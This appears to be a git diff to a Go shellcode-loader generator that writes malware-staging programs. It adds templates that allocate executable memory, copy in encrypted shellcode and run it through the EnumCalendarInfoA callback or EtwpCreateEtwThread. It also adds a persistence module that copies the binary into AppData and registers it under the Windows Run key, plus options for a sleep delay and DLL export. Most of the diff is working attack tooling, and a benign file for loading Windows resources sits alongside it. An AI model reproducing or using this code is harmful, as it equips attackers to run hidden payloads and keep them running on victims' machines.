+ ENUM_ALL_CALENDARS = 0xFFFFFFFF
+ CAL_SMONTHNAME1 = 0x00000015
+)
+
+func ExecuteOrderSixtySix(shellcode []byte) {
+
+ addr, _, _ := VirtualAlloc.Call(
+ 0,
+ uintptr(len(shellcode)),
+ MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE,
+ )
+
+ _, _, _ = RtlCopyMemory.Call(
+ addr,
+ (uintptr)(unsafe.Pointer(&shellcode[0])),
+ uintptr(len(shellcode)),
+ )
+
+ _, _, _ = EnumCalendarInfoA.Call(
+ addr,
+ (uintptr)(LOCALE_USER_DEFAULT),
+ (uintptr)(ENUM_ALL_CALENDARS),
+ (uintptr)(CAL_SMONTHNAME1),
+ )
+}
+ `)
+}
diff --git a/loaders/etwpCreateEtwThread.go b/loaders/etwpCreateEtwThread.go
@@ -0,0 +1,73 @@
+package loaders
+
+import (
+ "fmt"
+)
+
+func GetEtwpCreateEtwThreadTemplate(targetProcess string) string {
+ InformProcessUnused(targetProcess)
+
+ return fmt.Sprintf(`
+package main
+
+import (
+ "syscall"
+ "unsafe"
+)
+
+
+const (
+ MEM_COMMIT = 0x1000
+ MEM_RESERVE = 0x2000
+ PAGE_READWRITE = 0x4
+ PAGE_EXECUTE_READ = 0x20
+ PAGE_EXECUTE_READWRITE = 0x40
+ CREATE_SUSPENDED = 0x4
+ CREATE_NO_WINDOW = 0x8000000
+)
+
+var (
+ kernel32 = syscall.MustLoadDLL("kernel32.dll")
+ ntdll = syscall.MustLoadDLL("ntdll.dll")
+
+ RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
+ EtwpCreateEtwThread = ntdll.MustFindProc("EtwpCreateEtwThread")
+
+ VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
+ VirtualProtect = kernel32.MustFindProc("VirtualProtect")
+ WaitForSingleObject = kernel32.MustFindProc("WaitForSingleObject")
+)
+
+
+func ExecuteOrderSixtySix(shellcode []byte) {
+ /* allocating the appropriate amount of memory */
+ baseAddr, _, err := VirtualAlloc.Call(
+ 0,
+ uintptr(len(shellcode)),
+ MEM_COMMIT | MEM_RESERVE,
+ PAGE_READWRITE,
+ ); if baseAddr == 0 {
+ panic(err)
+ }
+
+ /* copying the shellcode to memory */
+ _, _, _ = RtlCopyMemory.Call(
+ baseAddr,
+ (uintptr)(unsafe.Pointer(&shellcode[0])),
+ uintptr(len(shellcode)),
+ )
+
+ /* changing permissions for our memory segment */
+ oldProtectCfg := PAGE_READWRITE
+ _, _, _ = VirtualProtect.Call(
+ baseAddr,
+ uintptr(len(shellcode)),
+ PAGE_EXECUTE_READ,
+ uintptr(unsafe.Pointer(&oldProtectCfg)),
+ )
+
+ threadId, _, err := EtwpCreateEtwThread.Call(baseAddr, uintptr(0))
+ WaitForSingleObject.Call(threadId, 0xFFFFFFFF)
+}
+`)
+}
diff --git a/loaders/processHollowing.go b/loaders/processHollowing.go
@@ -13,10 +13,6 @@ import (
*/
func GetProcessHollowingTemplate(targetProcess string) string {
-
- println("\n[!] Please be aware ProcessHollowing implementation is still a work in progress and unstable.")
- println("Maybe you could use another technique instead...? I hear the CRT one is pretty good...\n")
-
return fmt.Sprintf(`
package main
diff --git a/loaders/syscall.go b/loaders/syscall.go
@@ -5,9 +5,7 @@ import (
)
func GetSyscallTemplate(targetProcess string) string {
- _ = targetProcess // unused in this technique
-
- println("\n\n[!] PLEASE NOTE: shellcode will not be injected into new process with this method")
+ InformProcessUnused(targetProcess)
return fmt.Sprintf(`
package main
diff --git a/loaders/utils.go b/loaders/utils.go
@@ -1,11 +1,20 @@
package loaders
+func InformProcessUnused(process string) {
+ _ = process
+
+ println("\n\n[!] PLEASE NOTE: shellcode will not be injected into new process with this method")
+}
+
func SelectTemplate(templateName string) func(string) string {
switch templateName {
case "CRT":
return GetCRTTemplate
+ case "CRTx":
+ return GetCRTxTemplate
+
case "CreateThread":
return GetCreateThreadTemplate
@@ -15,6 +24,15 @@ func SelectTemplate(templateName string) func(string) string {
case "Syscall":
return GetSyscallTemplate
+ case "EnumCalendarInfoA":
+ return GetEnumCalendarInfoATemplate
+
+ case "CreateFiber":
+ return GetCreateFiberTemplate
+
+ case "Etwp":
+ return GetEtwpCreateEtwThreadTemplate
+
}
return nil
diff --git a/rc/fromJson.go b/rc/fromJson.go
@@ -0,0 +1,383 @@
+package rc
+
+/*
+ Copied from :
+ https://github.com/tc-hib/go-winres/blob/main/resdir.go
+
+ and took just what we need. I left the data types as-is
+ if we want to expand usage later.
+
+ it would be really cool if this was just in the library,
+ but it might be actually, id have to check this out.
+*/
+
+import (
+ "encoding/json"
+ "errors"
+ "image"
+ "os"
+ "path/filepath"
+ "sort"
+ "strconv"
+ "strings"
+
+ "github.com/tc-hib/winres"
+ "github.com/tc-hib/winres/version"
+)
+
+const (
+ errInvalidSet = "invalid resource set definition"
+ errInvalidCursor = "invalid cursor definition"
+ errInvalidIcon = "invalid icon definition"
+)
+
+type jsonDef map[string]map[string]map[string]interface{}
+
+var typeIDToString = map[winres.ID]string{
+ winres.RT_CURSOR: "RT_CURSOR",
+ winres.RT_BITMAP: "RT_BITMAP",
+ winres.RT_ICON: "RT_ICON",
+ winres.RT_MENU: "RT_MENU",
+ winres.RT_DIALOG: "RT_DIALOG",
+ winres.RT_STRING: "RT_STRING",
+ winres.RT_FONTDIR: "RT_FONTDIR",
+ winres.RT_FONT: "RT_FONT",
+ winres.RT_ACCELERATOR: "RT_ACCELERATOR",
+ winres.RT_RCDATA: "RT_RCDATA",
+ winres.RT_MESSAGETABLE: "RT_MESSAGETABLE",
+ winres.RT_GROUP_CURSOR: "RT_GROUP_CURSOR",
+ winres.RT_GROUP_ICON: "RT_GROUP_ICON",
+ winres.RT_VERSION: "RT_VERSION",
+ winres.RT_PLUGPLAY: "RT_PLUGPLAY",
+ winres.RT_VXD: "RT_VXD",
+ winres.RT_ANICURSOR: "RT_ANICURSOR",
+ winres.RT_ANIICON: "RT_ANIICON",
+ winres.RT_HTML: "RT_HTML",
+ winres.RT_MANIFEST: "RT_MANIFEST",
+}
+
+var typeIDFromString = map[string]winres.ID{
+ "RT_CURSOR": winres.RT_CURSOR,
+ "RT_BITMAP": winres.RT_BITMAP,
+ "RT_ICON": winres.RT_ICON,
+ "RT_MENU": winres.RT_MENU,
+ "RT_DIALOG": winres.RT_DIALOG,
+ "RT_STRING": winres.RT_STRING,
+ "RT_FONTDIR": winres.RT_FONTDIR,
+ "RT_FONT": winres.RT_FONT,
+ "RT_ACCELERATOR": winres.RT_ACCELERATOR,
+ "RT_RCDATA": winres.RT_RCDATA,
+ "RT_MESSAGETABLE": winres.RT_MESSAGETABLE,
+ "RT_GROUP_CURSOR": winres.RT_GROUP_CURSOR,
+ "RT_GROUP_ICON": winres.RT_GROUP_ICON,
+ "RT_VERSION": winres.RT_VERSION,
+ "RT_PLUGPLAY": winres.RT_PLUGPLAY,
+ "RT_VXD": winres.RT_VXD,
+ "RT_ANICURSOR": winres.RT_ANICURSOR,
+ "RT_ANIICON": winres.RT_ANIICON,
+ "RT_HTML": winres.RT_HTML,
+ "RT_MANIFEST": winres.RT_MANIFEST,
+}
+
+func idsFromStrings(t, r, l string) (winres.Identifier, winres.Identifier, uint16, error) {
+ var (
+ typeID winres.Identifier
+ resID winres.Identifier
+ langID uint16
+ )
+
+ if id, ok := typeIDFromString[t]; ok {
+ typeID = id
+ } else {
+ typeID = stringToIdentifier(t)
+ }
+ if typeID == nil {
+ return nil, nil, 0, errors.New("invalid type identifier")
+ }
+
+ resID = stringToIdentifier(r)
+ if resID == nil {
+ return nil, nil, 0, errors.New("invalid resource identifier")
+ }
+
+ n, err := strconv.ParseUint(l, 16, 16)
+ if err != nil {
+ return nil, nil, 0, errors.New("invalid language identifier")
+ }
+ langID = uint16(n)
+
+ return typeID, resID, langID, nil
+}
+
+func stringToIdentifier(s string) winres.Identifier {
+ if s == "" {
+ return nil
+ }
+ if s[0] == '#' {
+ n, err := strconv.ParseInt(s[1:], 10, 16)
+ if err == nil {
+ return winres.ID(n)
+ }
+ }
+ return winres.Name(s)
+}
+
+func LoadResourcesFromJson(rs *winres.ResourceSet, jsonName string) error {
+ dir := filepath.Dir(jsonName)
+ b, err := os.ReadFile(jsonName)
+
+ if err != nil {
+ return err
+ }
+ res := jsonDef{}
+ err = json.Unmarshal(b, &res)
+ if err != nil {
+ return err
+ }
+
+ for tid, t := range res {
+ for _, r := range sortedRes(t) {
+ for _, l := range sortedLang(r.langs) {
+ typeID, resID, langID, err := idsFromStrings(tid, r.id, l.id)
+ if err != nil {
+ return err
+ }
+ switch typeID {
+ case winres.RT_ICON:
+ return errors.New("cannot import RT_ICON resources directly, use RT_GROUP_ICON instead")
+ case winres.RT_CURSOR:
+ return errors.New("cannot import RT_CURSOR resources directly, use RT_GROUP_CURSOR instead")
+ case winres.RT_GROUP_CURSOR:
+ cursor, err := loadCursor(dir, l.data)
+ if err != nil {
+ return err
+ }
+ err = rs.SetCursorTranslation(resID, langID, cursor)
+ if err != nil {
+ return err
+ }
+ case winres.RT_GROUP_ICON:
+ icon, err := loadIcon(dir, l.data)
+ if err != nil {
+ return err
+ }
+ err = rs.SetIconTranslation(resID, langID, icon)
+ if err != nil {
+ return err
+ }
+ case winres.RT_VERSION:
+ vi := version.Info{}
+ j, _ := json.Marshal(l.data)
+ err = json.Unmarshal(j, &vi)
+ if err != nil {
+ return err
+ }
+ rs.SetVersionInfo(vi)
+ case winres.RT_BITMAP:
+ filename, ok := l.data.(string)
+ if !ok {
+ return errors.New(errInvalidSet)
+ }
+ dib, err := loadBMP(filepath.Join(dir, filename))
+ if err != nil {
+ return err
+ }
+ err = rs.Set(winres.RT_BITMAP, resID, langID, dib)
+ if err != nil {
+ return err
+ }
+ case winres.RT_MANIFEST:
+ switch val := l.data.(type) {
+ case string:
+ data, err := os.ReadFile(filepath.Join(dir, val))
+ if err != nil {
+ return err
+ }
+ err = rs.Set(typeID, resID, langID, data)
+ if err != nil {
+ return err
+ }
+ default:
+ j, _ := json.Marshal(val)
+ m := winres.AppManifest{}
+ err = json.Unmarshal(j, &m)
+ if err != nil {
+ return err
+ }
+ rs.SetManifest(m)
+ }
+ default:
+ filename, ok := l.data.(string)
+ if !ok {
+ return errors.New(errInvalidSet)
+ }
+ data, err := os.ReadFile(filepath.Join(dir, filename))
+ if err != nil {
+ return err
+ }
+ err = rs.Set(typeID, resID, langID, data)
+ if err != nil {
+ return err
+ }
+ }
+ }
+ }
+ }
+
+ return nil
+}
+
+type resource struct {
+ id string
+ langs map[string]interface{}
+}
+
+type lang struct {
+ id string
+ data interface{}
+}
+
+func sortedRes(m map[string]map[string]interface{}) []resource {
+ var res []resource
+ for id, langs := range m {
+ res = append(res, resource{id, langs})
+ }
+ sort.Slice(res, func(i, j int) bool {
+ return res[i].id < res[j].id
+ })
+ return res
+}
+
+func sortedLang(m map[string]interface{}) []lang {
+ var l []lang
+ for id, data := range m {
+ l = append(l, lang{id, data})
+ }
+ sort.Slice(l, func(i, j int) bool {
+ return l[i].id < l[j].id
+ })
+ return l
+}
+
+func loadCursor(dir string, c interface{}) (*winres.Cursor, error) {
+ switch c := c.(type) {
+ case string:
+ return loadCUR(filepath.Join(dir, c))
+
+ case []interface{}:
+ var images []winres.CursorImage
+ for i := range c {
+ o, ok := c[i].(map[string]interface{})
+ if !ok {
+ return nil, errors.New(errInvalidCursor)
+ }
+ curImg, err := loadCursorImage(dir, o)
+ if err != nil {
+ return nil, err
+ }
+ images = append(images, curImg)
+ }
+ return winres.NewCursorFromImages(images)
+
+ case map[string]interface{}:
+ curImg, err := loadCursorImage(dir, c)
+ if err != nil {
+ return nil, err
+ }
+ return winres.NewCursorFromImages([]winres.CursorImage{curImg})
+ }
+
+ return nil, errors.New(errInvalidCursor)
+}
+
+func loadCursorImage(dir string, c map[string]interface{}) (winres.CursorImage, error) {
+ x, xOK := c["x"].(float64)
+ y, yOK := c["y"].(float64)
+ f, fOK := c["image"].(string)
+ if !fOK || !xOK || !yOK {
+ return winres.CursorImage{}, errors.New(errInvalidCursor)
+ }
+
+ img, err := loadImage(filepath.Join(dir, f))
+ if err != nil {
+ return winres.CursorImage{}, err
+ }
+
+ return winres.CursorImage{
+ Image: img,
+ HotSpot: winres.HotSpot{X: uint16(x), Y: uint16(y)},
+ }, nil
+}
+
+func loadIcon(dir string, x interface{}) (*winres.Icon, error) {
+ switch x := x.(type) {
+ case string:
+ if strings.ToLower(filepath.Ext(x)) == ".ico" {
+ return loadICO(filepath.Join(dir, x))
+ }
+ img, err := loadImage(filepath.Join(dir, x))
+ if err != nil {
+ return nil, err
+ }
+ return winres.NewIconFromResizedImage(img, nil)
+ case []interface{}:
+ var images []image.Image
+ for i := range x {
+ f, ok := x[i].(string)
+ if !ok {
+ return nil, errors.New(errInvalidIcon)
+ }
+ img, err := loadImage(filepath.Join(dir, f))
+ if err != nil {
+ return nil, err
+ }
+ images = append(images, img)
+ }
+ return winres.NewIconFromImages(images)
+ }
+ return nil, errors.New(errInvalidIcon)
+}
+
+func loadImage(name string) (image.Image, error) {
+ f, err := os.Open(name)
+ if err != nil {
+ return nil, err
+ }
+ defer f.Close()
+
+ img, _, err := image.Decode(f)
+ return img, err
+}
+
+func loadCUR(name string) (*winres.Cursor, error) {
+ f, err := os.Open(name)
+ if err != nil {
+ return nil, err
+ }
+ defer f.Close()
+
+ return winres.LoadCUR(f)
+}
+
+func loadICO(name string) (*winres.Icon, error) {
+ f, err := os.Open(name)
+ if err != nil {
+ return nil, err
+ }
+ defer f.Close()
+
+ return winres.LoadICO(f)
+}
+
+func loadBMP(name string) ([]byte, error) {
+ b, err := os.ReadFile(name)
+ if err != nil {
+ return nil, err
+ }
+
+ if len(b) > 14 && b[0] == 'B' && b[1] == 'M' && int(b[5])<<24|int(b[4])<<16|int(b[3])<<8|int(b[2]) == len(b) {
+ return b[14:], nil
+ }
+
+ return b, nil
+}
diff --git a/tools/persist.go b/tools/persist.go
@@ -0,0 +1,114 @@
+package tools
+
+import "fmt"
+
+func GetPersistTemplate() string {
+ return fmt.Sprintf(`
+package main
+
+import (
+ "io"
+ "os"
+ "strings"
+
+ "golang.org/x/sys/windows/registry"
+)
+
+func getCurrentProcessPath() string {
+ path, err := os.Executable()
+ if err != nil {
+ return ""
+ }
+ return path
+}
+
+func filenameToName(filename string) string {
+ filename_splitted := strings.Split(filename, ".")
+ return filename_splitted[0]
+}
+
+func getAppDataPath() string {
+ path, err := os.UserConfigDir()
+ if err != nil {
+ return ""
+ }
+ return path
+}
+
+func getRegistryKey(keyName string) (string, error) {
+ k, err := registry.OpenKey(registry.CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", registry.QUERY_VALUE)
+ if err != nil {
+ return "", err
+ }
+ defer k.Close()
+
+ s, _, err := k.GetStringValue(keyName)
+ if err != nil {
+ return "", err
+ }
+ return s, err
+}
+
+func SetRegistryValue(keyName string, keyValue string) error {
+
+ k, err := registry.OpenKey(registry.CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", registry.ALL_ACCESS)
+ if err != nil {
+ return err
+ }
+ defer k.Close()
+
+ err = k.SetStringValue(keyName, keyValue)
+ if err != nil {
+ return err
+ }
+ return err
+}
+
+func fileExists(filename string) bool {
+ info, err := os.Stat(filename)
+ if os.IsNotExist(err) {
+ return false
+ }
+ return !info.IsDir()
+}
+
+func copyFile(src string, dest string) {
+ in, err := os.Open(src)
+ if err != nil {
+ return
+ }
+ defer in.Close()
+ out, err := os.Create(dest)
+ if err != nil {
+ return
+ }
+ defer func() {
+ cerr := out.Close()
+ if err == nil {
+ err = cerr
+ }
+ }()
+ if _, err = io.Copy(out, in); err != nil {
+ return
+ }
+ err = out.Sync()
+ return
+}
+
+func persistExecute(outFile string) {
+ currentFilePath := getCurrentProcessPath()
+ keyName := filenameToName(outFile)
+ installFile := getAppDataPath() + "\\" + outFile
+
+ if !fileExists(installFile) {
+ copyFile(currentFilePath, installFile)
+
+ }
+ keyVal, err := getRegistryKey(keyName)
+ if err != nil || keyVal != installFile {
+ SetRegistryValue(keyName, installFile)
+ }
+
+}
+`)
+}
diff --git a/tools/utils.go b/tools/utils.go
@@ -79,7 +79,7 @@ func DirExists(dir string) (bool, error) {
return false, err
}
-func CreateTmpProjectRoot(path string) error {
+func CreateTmpProjectRoot(path string, persist string) error {
fmt.Printf("[+] Initializing temporary build directory\n")
@@ -104,7 +104,7 @@ func CreateTmpProjectRoot(path string) error {
}
var go_mod = []byte(`
-module github.com/cmepw/myph
+module whatever
go 1.19
@@ -123,6 +123,11 @@ go 1.19
encryptgo_path := fmt.Sprintf("%s/encrypt.go", path)
_, _ = os.Create(encryptgo_path)
+ if persist != "" {
+ encryptgo_path := fmt.Sprintf("%s/persist.go", path)
+ _, _ = os.Create(encryptgo_path)
+ }
+
println("\n")
return nil
}
@@ -132,6 +137,8 @@ func GetMainTemplate(
key string,
sc string,
sleepTime uint,
+ persistData string,
+ shouldExport bool,
) string {
/* if hex encoding is used, it does not require to go through StdEncoding */
@@ -139,7 +146,15 @@ func GetMainTemplate(
if encoding == "hex" {
encCall = "enc"
}
-
+ exportImpStr := `import "C"`
+ exportexpStr := `
+func main() {}
+//export entry
+func entry() {`
+ if !shouldExport {
+ exportImpStr = ""
+ exportexpStr = "func main() {"
+ }
return fmt.Sprintf(`
package main
@@ -147,12 +162,13 @@ import (
"time"
"os"
enc "encoding/%s"
+ "fmt"
)
+%s
var Key = %s
var Code = %s
-
-func main() {
+%s
decodedSc, _ := %s.DecodeString(Code)
decodedKey, _ := %s.DecodeString(Key)
@@ -163,7 +179,9 @@ func main() {
}
time.Sleep(%d * time.Second)
+
+ %s
ExecuteOrderSixtySix(decrypted)
}
- `, encoding, key, sc, encCall, encCall, sleepTime)
+ `, encoding, exportImpStr, key, sc, exportexpStr, encCall, encCall, sleepTime, persistData)
}
| | | | | | | | | | | | | | | | | | | | | |